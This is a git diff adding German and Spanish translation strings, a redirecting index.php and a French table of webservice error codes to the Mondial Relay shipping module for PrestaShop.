+$_MODULE['<{mondialrelay}prestashop>header_e0626222614bdee31951d84c64e5e9ff'] = 'Auswählen'; +$_MODULE['<{mondialrelay}prestashop>header_91b442d385b54e1418d81adc34871053'] = 'ausgewählt'; +$_MODULE['<{mondialrelay}prestashop>header_ef2a1f426c2c289ed5986c7636a5d696'] = 'Bitte wählen Sie einen Paketstützpunkt'; +$_MODULE['<{mondialrelay}prestashop>header_80a0c205cd57b22fca7f174253870300'] = 'Öffnungszeiten'; +$_MODULE['<{mondialrelay}prestashop>header_2b56b60f878922093facd42284848a0c'] = 'Mehr Infos'; +$_MODULE['<{mondialrelay}prestashop>order_detail_81b7b4587a2a3ea7a0d6bb1df3fbba54'] = 'Lieferung nach'; +$_MODULE['<{mondialrelay}prestashop>order_detail_c2d05abc7f5ebdc72b6656df35038b43'] = 'Meine Sendung auf der Mondial Relay Webseite verfolgen'; +$_MODULE['<{mondialrelay}prestashop>post_action_466ec9f29b485204ef53818459da48af'] = 'Fehler aufgetreten'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_de21dc13e1ea638777fbfad49f88b332'] = 'Alle Bestellugen, die den Status haben'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_378116486b5a90bb50fd4f1557698d96'] = 'wird für die Erstellung Ihres Aufklebers verfügbar sein'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_d79cf3f429596f77db95c65074663a54'] = 'Bestellnummer'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_ce26601dac0dea138b7295f02b7620a7'] = 'Kunde'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_0eede552438475bdfe820c13f24c9399'] = 'Gesamtpreis'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_c28e0582276cb6747e37d948e1727929'] = 'Gesamtbetrag Versandkosten:'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_44749712dbec183e983dcd78a7736c41'] = 'Datum'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_52150799c57e873360cca13c080a91b4'] = 'Gewicht (Gramm)'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_6ccc0fdff9995e1a0fce00c99e5b6085'] = 'MR Nummer'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_f9c50cba4de9032d7a6797a2458f8ed9'] = 'MR Land'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_428c091372d840900cf8536519fa0056'] = 'Exp Nummer'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_a254c25adc7d10d7e9c4889484f875a5'] = 'Detail'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_4351cfebe4b61d8aa5efa1d020710005'] = 'Produkt ansehen'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_2e01172e31495f41fcebcf3f831cc82c'] = 'Erfolgreich abgeschlossen'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_37c85a61df6352af7285c307022c4413'] = 'Keine Bestelungen mit diesem Status'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_32b919d18cfaca89383f6000dcc9c031'] = 'Erzeugen!'; +$_MODULE['<{mondialrelay}prestashop>history_4f1a377c20ace646ddd303ad1e1d243d'] = 'Aufkleber Verlauf'; +$_MODULE['<{mondialrelay}prestashop>history_d79cf3f429596f77db95c65074663a54'] = 'Bestellnummer'; +$_MODULE['<{mondialrelay}prestashop>history_e1a98101d56e29eeea312a0eb2748a92'] = 'Exp Nr.'; +$_MODULE['<{mondialrelay}prestashop>history_aab39f783ba2e72eaad1770f4d9ad0c4'] = 'A4 Aufkleber drucken'; +$_MODULE['<{mondialrelay}prestashop>history_3eb2bc1ee46258d2a166e89398756b3e'] = 'A5 Aufkleber drucken'; +$_MODULE['<{mondialrelay}prestashop>history_fa98e6528c9df7f26978c2beb7de3d99'] = 'Verlauf löschen'; +$_MODULE['<{mondialrelay}prestashop>settings_c9cc8cce247e49bae79f15173ce97354'] = 'Speichern'; +$_MODULE['<{mondialrelay}prestashop>settings_f4f70727dc34561dfde1a3c529b6205c'] = 'Einstellungen'; diff --git a/modules/mondialrelay/docs/index.php b/modules/mondialrelay/docs/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/modules/mondialrelay/docs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay/errorCode.php b/modules/mondialrelay/errorCode.php new file mode 100755 index 0000000..7b0e39c --- /dev/null +++ b/modules/mondialrelay/errorCode.php @@ -0,0 +1,79 @@ + 'Enseigne invalide', + '2' => 'Numéro d\'enseigne vide ou inexistant', + '3' => 'Numéro de compte enseigne invalide', + '5' => 'Numéro de dossier enseigne invalide', + '7' => 'Numéro de client enseigne invalide', + '9' => 'Nom de ville non reconnu ou non unique', + '10' => 'Type de collecte invalide ou incorrect (1/D > Domicile -- 3/R > Relais)', + '11' => 'Numéro de Point Relais de collecte invalide', + '12' => 'Pays du Point Relais de collecte invalide', + '13' => 'Type de livraison invalide ou incorrect (1/D > Domicile -- 3/R > Relais)', + '14' => 'Numéro du Point Relais de livraison invalide', + '15' => 'Pays du Point Relais de livraison invalide', + '16' => 'Code pays invalide', + '17' => 'Adresse invalide', + '18' => 'Ville invalide', + '19' => 'Code postal invalide', + '20' => 'Poids du colis invalide', + '21' => 'Taille (Longueur + Hauteur) du colis invalide', + '22' => 'Taille du Colis invalide', + '24' => 'Numéro de Colis Mondial Relay invalide', + '29' => 'Mode de livraison invalide', + '30' => 'Adresse (L1) de l\'expéditeur invalide', + '31' => 'Adresse (L2) de l\'expéditeur invalide', + '33' => 'Adresse (L3) de l\'expéditeur invalide', + '34' => 'Adresse (L4) de l\'expéditeur invalide', + '35' => 'Ville de l\'expéditeur invalide', + '36' => 'Code postal de l\'expéditeur invalide', + '37' => 'Pays de l\'expéditeur invalide', + '38' => 'Numéro de téléphone de l\'expéditeur invalide', + '39' => 'Adresse e-mail de l\'expéditeur invalide', + '40' => 'Action impossible sans ville ni code postal', + '41' => 'Mode de livraison invalide', + '42' => 'Montant CRT invalide', + '43' => 'Devise CRT invalide', + '44' => 'Valeur du colis invalide', + '45' => 'Devise de la valeur du colis invalide', + '46' => 'Plage de numéro d\'expédition épuisée', + '47' => 'Nombre de colis invalide', + '48' => 'Multi-colis en Point Relais Interdit', + '49' => 'Mode de collecte ou de livraison invalide', + '50' => 'Adresse (L1) du destinataire invalide', + '51' => 'Adresse (L2) du destinataire invalide', + '53' => 'Adresse (L3) du destinataire invalide', + '54' => 'Adresse (L4) du destinataire invalide', + '55' => 'Ville du destinataire invalide', + '56' => 'Code postal du destinataire invalide', + '57' => 'Pays du destinataire invalide', + '58' => 'Numéro de téléphone du destinataire invalide', + '59' => 'Adresse e-mail du destinataire invalide', + '60' => 'Champ texte libre invalide', + '61' => 'Top avisage invalide', + '62' => 'Instruction de livraison invalide', + '63' => 'Assurance invalide ou incorrecte', + '64' => 'Temps de montage invalide', + '65' => 'Top rendez-vous invalide', + '66' => 'Top reprise invalide', + '70' => 'Numéro de Point Relais invalide', + '72' => 'Langue expéditeur invalide', + '73' => 'Langue destinataire invalide', + '74' => 'Langue invalide', + '80' => 'Code tracing : Colis enregistré', + '81' => 'Code tracing : Colis en traitement chez Mondial Relay', + '82' => 'Code tracing : Colis livré', + '83' => 'Code tracing : Anomalie', + '90' => 'AS400 indisponible', + '91' => 'Numéro d\'expédition invalide', + '94' => 'Colis Inexistant', + '95' => 'Compte Enseigne non activé', + '96' => 'Type d\'enseigne incorrect en Base', + '97' => 'Clé de sécurité invalide', + '98' => 'Service Indisponible', + '99' => 'Erreur générique du service. Cette erreur peut être dû autant à un problème technique du service qu\'à des données incorrectes ou inexistantes dans la Base de Données. Lorsque vous avez cette erreur veuillez la notifier à Mondial Relay en précisant la date et l\'heure de la connexion ainsi que les informations envoyés au WebService afin d\'effectuer une vérification.'); + +?> diff --git a/modules/mondialrelay/es.php b/modules/mondialrelay/es.php new file mode 100755 index 0000000..2f7f3ed --- /dev/null +++ b/modules/mondialrelay/es.php @@ -0,0 +1,192 @@ +adminmondialrelay_e82faee1422140edd04b2f94c5051500'] = 'Acción de éxito'; +$_MODULE['<{mondialrelay}prestashop>adminmondialrelay_3b2d373418745276ae6e207421245cdc'] = 'Estado de pedido ha sido actualizado'; +$_MODULE['<{mondialrelay}prestashop>adminmondialrelay_b4ac3d3f15bc0984d0906aff1202e701'] = 'No se puede actualizar la cuenta de la tienda'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_44585fcd617dce6416d8283b026714c1'] = 'Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ed4a3b96dc1f38c160775cac1f7bcd6d'] = 'Entregue sus envíos en un punto de recogida'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_1889ea20d1343f376f5d52b6b8dc7a3f'] = 'Necesitas seleccionar un punto entrega antes de continuar en el siguiente paso.'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d2286c9c8c8f92cb0e805b17834591b0'] = 'Enseigne no válido '; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_709b076565df5fa98cdb2528d897633d'] = 'Código de marca no válido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_c86508f5bc6b4456e7003d6a1868689d'] = 'Clave Webservice no válida'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ea9261a3dad976b40ff2088a19fda2c3'] = 'Idioma no válido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_4eb287cc225ba0e1bcfe9cc1b8315def'] = 'Coeficiente de peso no válido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_70ff82d47f295f730c6accf07a2948e8'] = 'Nombre del transportista no válido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_e1f1787db2fee596f4c3bfaf1d098f8d'] = 'Modo Col no válido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_9414b7de379a09941e894d28f19949ae'] = 'Modo de entrega no válido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_5eeb9ca7eee4be7192dd10d917f79a12'] = 'Seguro no válido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_8b446ac2013dc7085802de71cc342ead'] = 'Debe elegir al menos un país de entrega'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_979c6094728c14aac1b66d544dc5cebd'] = 'Estado de pedido no válido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_e82faee1422140edd04b2f94c5051500'] = 'Acción de éxito'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_672facd73d4aee44c116cfd95298db87'] = 'El detalle de la cuenta se ha actualizado'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_b4ac3d3f15bc0984d0906aff1202e701'] = 'No se puede actualizar la cuenta de la tienda'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ea50be3d60be594e10e9e3560cb9159f'] = 'El método de envío se ha añadido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d0cfdfcfb71029b561f5ebdc176d87ca'] = 'Estado de envío cambiado correctamente'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_7534411af2e35bed1f79df5938f077f9'] = 'EL transportista ha sido borrado (desactivada en la base de datos prestashop)'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_2673bca5ba0a7871770e69c962e6ce38'] = 'Nb expedición:'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_0dbe844fb964d5eca2f51be724e43294'] = 'Etiqueta de URL'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_c6aefd5e2191e1210a2f50416812b517'] = 'Seguimiento de URL'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_61e70b58e38fd01daa254f44c4fa264b'] = 'Nb Punto de Transición:'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_aa625fced6f01ae595b6a9ac499c2ecf'] = 'Rango de peso no se puede añadir'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_63d15383121b5bb5c53323f3f96bd1f2'] = 'Rango de precios no se puede añadir'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d4d197dd028e28ae56208971b564921a'] = 'Zona predeterminada no se puede añadir'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_760ac6deb1c5b84321f65ba0c7f319f5'] = 'Datos de la zona Transportista o entrega no se añadira'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_8bf569ff65b32464e623ca9e9a10688d'] = 'El transportista no puede crearse en Prestashop'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_6ed26bdf3f9141ddca4ede91f943e567'] = 'El metodo del transportista no puede agregarse al modulo'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_af135815ccf731bcbffb522004762b57'] = 'EL transportista no puede borrarse todavia'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_bba366864d25056c941b72f18ef79e7c'] = 'Este error no se conoce:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_a1c3470a944b9625cfb924fd15c8bdbf'] = 'Por favor, seleccione al menos un pedido'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Esta clave'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_306b346c19017609403424203ea3d720'] = 'está vacío y debe rellenarse'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_8184ba43565d0d65b7b1739f2cef25c8'] = 'Parece que la petición no es válida:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'Hay un número de error :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Detalles :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_eabb11bf9623f08409a0a4c9d035a336'] = 'Envío Número:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_b92c3d3319314513c547675924ceecd1'] = 'URL del ticket :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_66b793b6b4125e300717e8cf7449f533'] = 'URL de seguimiento:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_952a812236cabbd70b949ecb43f89c82'] = 'El webservice de Mondial Relay no es actualmente confiable'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_26b6b6eaec970108c5e84286159fbf48'] = 'Por favor comprueba la configuración del idioma'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_557595c2e17c9948a9448eb763ac1a88'] = 'Por favor comprueba la configuración del nombre de tu tienda'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_017ca6b770ad53669a4eec82894dfcd3'] = 'Por favor, compruebe la configuracion de la dirección1'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_3f79e1fc66b4f9cca7bd68cab176020d'] = 'Por favor, compruebe la configuración de su ciudad'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_404665d9b65239985d59b30b3dcb26b5'] = 'Por favor, compruebe la configuración de su código postal'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_0b8a30478b9572b86718989d483fd88d'] = 'Por favor, compruebe la configuración de su país'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_7ddf2d94bf037b7d1088c0600ea589c3'] = 'Por favor, compruebe la configuración de su teléfono'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_9c7ce7be9a2c593b24d448edb4f804e0'] = 'Por favor, revise su configuración de correo'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_85e6a18230d49abf8cfe912809185258'] = 'Utilizando una versión PrestaShop menos de 1.4, nose puede validar el código postal'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_14288d48d107056c1acf8aaae1bf282b'] = 'Dirección del cliente no se encuentra'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_dc41aac14af17f1d19fca5e3b9439e74'] = 'La clave'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_135a7b9a62531e066a95093d8951b344'] = 'no tiene un formato de valor válido'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Parece que la petición no es válida'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_c9b4de92f371ae545ad6f051c07d58ca'] = 'Hay un número de error :'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_ea5f761be4e4888eabf4e1501d7817d1'] = 'Detalles'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_4e274658c9e97c2a336dde79dd0a7772'] = 'MondialRelay no puede encontrar un punto de de recogida cerca de tu dirección. ¿puedes haber rellenado mal la dirección?'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_2653c23b8c0daac59571e4be5e8fa7d0'] = 'El webservice de Mondial Relay no es actualmente confiable'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Esta clave'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_135a7b9a62531e066a95093d8951b344'] = 'no tiene un formato de valor válido'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Parece que la petición no es válida'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'Hay un número de error:'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Detalles:'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_2653c23b8c0daac59571e4be5e8fa7d0'] = 'El servicio web Mondial Relay no es seguro actualmente'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_38b4abe2f5860f034e315f2da648a3d6'] = 'Desinstalación de Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_a4691c957e81a6f0b6f0ed44f8f2dfe8'] = 'Usted debe vuelver a intentar desinstalar el módulo, desea eliminar la base de datos'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_09c081633d484a62a2f6940c12a0de36'] = 'Mantener y desinstalar'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_0b7f47fce1d82d53244771c64b1535c0'] = 'Borrar y desinstalar'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_ea4788705e6873b424c65e91c2846b19'] = 'Suprimir'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_a42bb0eaa485682166770a54469385f6'] = 'Algunos artículos no se pueden quitar, por favor, inténtelo de nuevo'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_11744bfebb33e52be37a66a530b7045d'] = 'Por favor, seleccione al menos un elemento'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_14288d48d107056c1acf8aaae1bf282b'] = 'Cancelar'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_dc41aac14af17f1d19fca5e3b9439e74'] = 'La clave'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_306b346c19017609403424203ea3d720'] = 'está vacío y debe ser llenado'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Parece que la petición no es válida'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_c9b4de92f371ae545ad6f051c07d58ca'] = 'Hay un número de error:'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_ea5f761be4e4888eabf4e1501d7817d1'] = 'Detalles'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_6f8522e0610541f1ef215a22ffa66ff6'] = 'Lunes'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_5792315f09a5d54fb7e3d066672b507f'] = 'Martes'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_796c163589f295373e171842f37265d5'] = 'Miércoles'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_78ae6f0cd191d25147e252dc54768238'] = 'Jueves'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_c33b138a163847cdb6caeeb7c9a126b4'] = 'Viernes'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_8b7051187b9191cdcdae6ed5a10e5adc'] = 'Sábado'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_9d1a0949c39e66a0cd65240bc0ac9177'] = 'Domingo'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_2653c23b8c0daac59571e4be5e8fa7d0'] = 'El servicio web Mondial Relay no es seguro actualmente'; +$_MODULE['<{mondialrelay}prestashop>checkout_process_836f6c949a2f2d61489bf410def82111'] = 'Mondial Relay no puede buscar cualquier punto de repetición debido a un error prestashop'; +$_MODULE['<{mondialrelay}prestashop>configuration_0f27e5e9020f28e3f31b78376e11d4c7'] = 'Mondial Relay Configuración'; +$_MODULE['<{mondialrelay}prestashop>configuration_8bc212f48680748479bbd322d4d73d3f'] = 'detalles de la cuenta'; +$_MODULE['<{mondialrelay}prestashop>configuration_ea9cf7e47ff33b2be14e6dd07cbcefc6'] = 'Envío'; +$_MODULE['<{mondialrelay}prestashop>configuration_fe4c6a5e7bd6793b37370e4e46daf998'] = 'Ajustes avanzados'; +$_MODULE['<{mondialrelay}prestashop>configuration_326e057f57e830834c20d668e44627ef'] = 'Info'; +$_MODULE['<{mondialrelay}prestashop>configuration_29141d2b5a484e8032ef64339733f0dc'] = 'Por favor, ajuste la configuración de la cuenta Mondial Relay '; +$_MODULE['<{mondialrelay}prestashop>configuration_5a2355a42ba3ab265701183c914467f2'] = 'Trata de desactivar la caché y forzar compilación para'; +$_MODULE['<{mondialrelay}prestashop>configuration_3de769f9a81eed916583d5b35c58dbdd'] = 'si usted tiene algún problema con el módulo después de una actualización'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f8b21bd013b38d1e3059557c22a57e7'] = '¡Echa un vistazo a la siguiente HOW-TO para ayudarle a configurar el módulo deMondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_d21a9f93917604d5490ad529a7cf1ff9'] = 'Para crear una compañía Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_c6a2e6af5fff47adb3afd780b97d9b4b'] = 'Entra y guarde los ajustes de la cuenta Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_b29c4694f835ad29b9893cd3fed36fbc'] = 'Crear un transportista con el botón de envío'; +$_MODULE['<{mondialrelay}prestashop>configuration_b962d8fb95f5a439f50502152f3bad71'] = 'Definir un precio para su compañía en el'; +$_MODULE['<{mondialrelay}prestashop>configuration_faf1247ae6846a9955a466d4f301bbe4'] = 'La página del transportista'; +$_MODULE['<{mondialrelay}prestashop>configuration_10d78806b84b97ebc774e9f6277af6ac'] = 'Para generar las etiquetas, debe tener una dirección válida y registrada de su tiendaen su'; +$_MODULE['<{mondialrelay}prestashop>configuration_af5efea250326c1c34d69aa9364b482c'] = 'la página de contacto'; +$_MODULE['<{mondialrelay}prestashop>configuration_1ba3935c9858ffb8e19a35ca640b8505'] = 'Configuración de la cuenta Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_a125105400f6e4ee4574da3793af5ef2'] = 'Estos parámetros son proporcionados por Mondial Relay, una vez se ha suscrito a su servicio'; +$_MODULE['<{mondialrelay}prestashop>configuration_12a3fbd35c1cab4b1101b91d708efd15'] = 'Webservice Enseigne:'; +$_MODULE['<{mondialrelay}prestashop>configuration_6f0434b67007b555dfd1201f4e0d5254'] = 'Código de marca:'; +$_MODULE['<{mondialrelay}prestashop>configuration_08f785193c96b2a78dec8d76a46648d6'] = 'Clave del webservice:'; +$_MODULE['<{mondialrelay}prestashop>configuration_0dae2d7c71f2daaedb00191af25dc28d'] = 'Idioma de etiqueta:'; +$_MODULE['<{mondialrelay}prestashop>configuration_a26329cba9723551cb8654deba32872b'] = 'Coeficiente de peso:'; +$_MODULE['<{mondialrelay}prestashop>configuration_99244b234ec089eca40ff9e8ec343e87'] = 'gramos = 1'; +$_MODULE['<{mondialrelay}prestashop>configuration_80eac24973917207249176589fb068ce'] = 'El método por defecto de pago se configurará de acuerdo al peso total.'; +$_MODULE['<{mondialrelay}prestashop>configuration_61cbc2d26b4157292673c772ddd6c0f7'] = 'Actualizar ajustes'; +$_MODULE['<{mondialrelay}prestashop>configuration_70397c4b252a5168c5ec003931cea215'] = 'Campos obligatorios'; +$_MODULE['<{mondialrelay}prestashop>configuration_9ffc3ccc968a96d902af963c6d7b4e97'] = 'Configuración avanzada'; +$_MODULE['<{mondialrelay}prestashop>configuration_fcf5b2122da1d5a5f5c7253b96a3f9d9'] = 'URL de tarea programada'; +$_MODULE['<{mondialrelay}prestashop>configuration_66661dacf33146201b60dc16520ddd68'] = 'Añadir un Método de envío'; +$_MODULE['<{mondialrelay}prestashop>configuration_531e144cc23ef08408b81cb4d9c641dc'] = 'Nombre del transportista'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f497c1a3d15af9e0c215019f26b887d'] = 'Retraso'; +$_MODULE['<{mondialrelay}prestashop>configuration_201bdb87f8e278b943d07ae924d5de6e'] = 'Modo de entrega'; +$_MODULE['<{mondialrelay}prestashop>configuration_142ef02888af88b8b772335277d1c0c8'] = 'Entrega a un punto de relevo'; +$_MODULE['<{mondialrelay}prestashop>configuration_eeab8b7cf3c7a558a0e8a4050fa994ca'] = 'Envio Colis Drive'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f7794b107749728c3333ef38d2687e8'] = 'Inicio de entrega RDC (1 persona)'; +$_MODULE['<{mondialrelay}prestashop>configuration_e451efc8ce05b96b214b4c2935f2c657'] = 'La entrega a domicilio Especial (2 personas)'; +$_MODULE['<{mondialrelay}prestashop>configuration_eaff1bdf24fcffe0e14e29a1bff51a12'] = 'de seguros'; +$_MODULE['<{mondialrelay}prestashop>configuration_96ba408f20bc3e065f400c650d32fd1a'] = 'No tiene seguro'; +$_MODULE['<{mondialrelay}prestashop>configuration_e5a8fafb1dfb538c172e1e014e86b871'] = 'Seguro Complementario Lv1'; +$_MODULE['<{mondialrelay}prestashop>configuration_b02f8d6d4b6217cca317161c87f64065'] = 'Seguro Complementario Lv2'; +$_MODULE['<{mondialrelay}prestashop>configuration_90b95ae88150c6a34c4129dc4f1ebbd5'] = 'Seguro Complementario Lv3'; +$_MODULE['<{mondialrelay}prestashop>configuration_c15b40b8c535191f6f0b6f9beaced3cf'] = 'Seguro Complementario Lv4'; +$_MODULE['<{mondialrelay}prestashop>configuration_b67a442fff3ca0a03ea253b0668f946d'] = 'Seguro Complementario Lv5'; +$_MODULE['<{mondialrelay}prestashop>configuration_33cbd0d8b6476501f55a8320481ec0f1'] = 'Países de envío:'; +$_MODULE['<{mondialrelay}prestashop>configuration_aef71ba4fd060dea2e2c76d1b5076caf'] = 'Usted puede elegir varios países presionando Ctrl mientras selecciona los países'; +$_MODULE['<{mondialrelay}prestashop>configuration_0309a6c666a7a803fdb9db95de71cf01'] = 'Francia'; +$_MODULE['<{mondialrelay}prestashop>configuration_6c1674d14bf5f95742f572cddb0641a7'] = 'Bélgica'; +$_MODULE['<{mondialrelay}prestashop>configuration_06630c890abadde9228ea818ce52b621'] = 'Luxemburgo'; +$_MODULE['<{mondialrelay}prestashop>configuration_907eba32d950bfab68227fd7ea22999b'] = 'España'; +$_MODULE['<{mondialrelay}prestashop>configuration_0c24ec05a02c710cedd400e3680d8b81'] = 'Lista de método de envío \\\\ \'s'; +$_MODULE['<{mondialrelay}prestashop>configuration_14039af96b01e718a9c9d9c1259b6472'] = 'No hay métodos de envío creados'; +$_MODULE['<{mondialrelay}prestashop>configuration_daf999e234b6f358dda641bf381b685a'] = 'Envío de configuración'; +$_MODULE['<{mondialrelay}prestashop>header_e0626222614bdee31951d84c64e5e9ff'] = 'Seleccionar'; +$_MODULE['<{mondialrelay}prestashop>header_91b442d385b54e1418d81adc34871053'] = 'seleccionado'; +$_MODULE['<{mondialrelay}prestashop>header_ef2a1f426c2c289ed5986c7636a5d696'] = 'Por favor, elija un punto de relevo'; +$_MODULE['<{mondialrelay}prestashop>header_80a0c205cd57b22fca7f174253870300'] = 'Horario de apertura'; +$_MODULE['<{mondialrelay}prestashop>header_2b56b60f878922093facd42284848a0c'] = 'Más detalles'; +$_MODULE['<{mondialrelay}prestashop>order_detail_81b7b4587a2a3ea7a0d6bb1df3fbba54'] = 'Enviado a'; +$_MODULE['<{mondialrelay}prestashop>order_detail_c2d05abc7f5ebdc72b6656df35038b43'] = 'Siga mi paquete en la página web Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>post_action_466ec9f29b485204ef53818459da48af'] = 'error(es)'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_8d63728960e021f7632a11922685705e'] = 'Gracias a la amabilidad de corregir los errores siguientes en'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_264f456c4202f0aba86e481a246a3ef1'] = 'la página de contacto:'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_de21dc13e1ea638777fbfad49f88b332'] = 'Todos los pedidos que tienen el estado'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_378116486b5a90bb50fd4f1557698d96'] = 'estará disponible para la creación de adhesivo'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_5dadbd0ec9f0b182be4ead8dad39da79'] = 'Lista de pedidos'; 